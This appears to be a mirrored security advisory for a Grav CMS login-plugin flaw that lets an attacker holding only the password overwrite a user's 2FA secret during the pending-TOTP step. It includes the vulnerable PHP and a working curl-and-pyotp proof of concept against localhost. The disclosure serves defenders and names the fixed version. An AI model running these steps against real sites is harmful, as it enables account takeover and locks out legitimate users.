Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge
Summary
When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofa_secret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.
Details
Four code locations in login plugin v3.8.10 enable the chain:
1. Session user set even with 2FA pending
user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.
2. taskRegenerate2FASecret - no authorization check
user/plugins/login/classes/Controller.php
public function taskRegenerate2FASecret()
{
$user = $this->grav['user'];
if ($user->exists()) { // ← only checks exists(), NOT authorized()
$secret = $twoFa->createSecret();
$user->twofa_secret = $secret; // overwrites victim's secret on disk
$user->save();
$json_response = [
'status' => 'success',
'image' => $image,
'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker
];
}
}
3. No CSRF nonce required
user/plugins/login/login.php - the task dispatch switch only validates twofa_cancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.
PoC
Confirmed live on this instance after enabling plugins.login.twofa_enabled: true and configuring TOTP on the user account.
# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
"http://127.0.0.1/grav/login" \
-d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"
# Step 2: Regenerate the 2FA secret (NO nonce required)
curl -s -b /tmp/2fa.jar \
"http://127.0.0.1/grav/login/task:login.regenerate2FASecret"
# {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
# Step 3: Compute TOTP from the attacker-chosen secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656
# Step 4: Complete 2FA with attacker's TOTP code
curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \
-d "task=login.twofa&2fa_code=152656"
# Step 5: Verify - fully authenticated as victim
curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout'
# Grav User Logout
Impact
Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.
The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | getgrav/grav | < 2.0.4 | 2.0.4 |
Verweise
- https://github.com/getgrav/grav/security/advisories/GHSA-7mgc-c7pq-3rr3
- https://nvd.nist.gov/vuln/detail/CVE-2026-62669
- https://github.com/getgrav/grav-plugin-login/commit/5d1b722298cb947d8f434025d121b99152a2c630
- https://github.com/getgrav/grav
- https://github.com/getgrav/grav-plugin-login/releases/tag/3.8.11
- https://github.com/getgrav/grav/releases/tag/2.0.4
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N- Schwäche (CWE)
CWE-287- Plattform
- Composer
- Paket
getgrav/grav- Veröffentlicht
- 02.09.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-7mgc-c7pq-3rr3 - CC BY 4.0
Schwachstellenhistorie: getgrav/grav
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 99
- Erste → letzte
- 11.2019 09.2026
- Ohne Fix
- 6
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 7
- Hoch 47
- Mittel 41
- Niedrig 4
Veröffentlichungen pro Jahr
- 2019: 1
- 2020: 1
- 2021: 4
- 2022: 10
- 2023: 5
- 2024: 8
- 2025: 23
- 2026: 47
-
Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.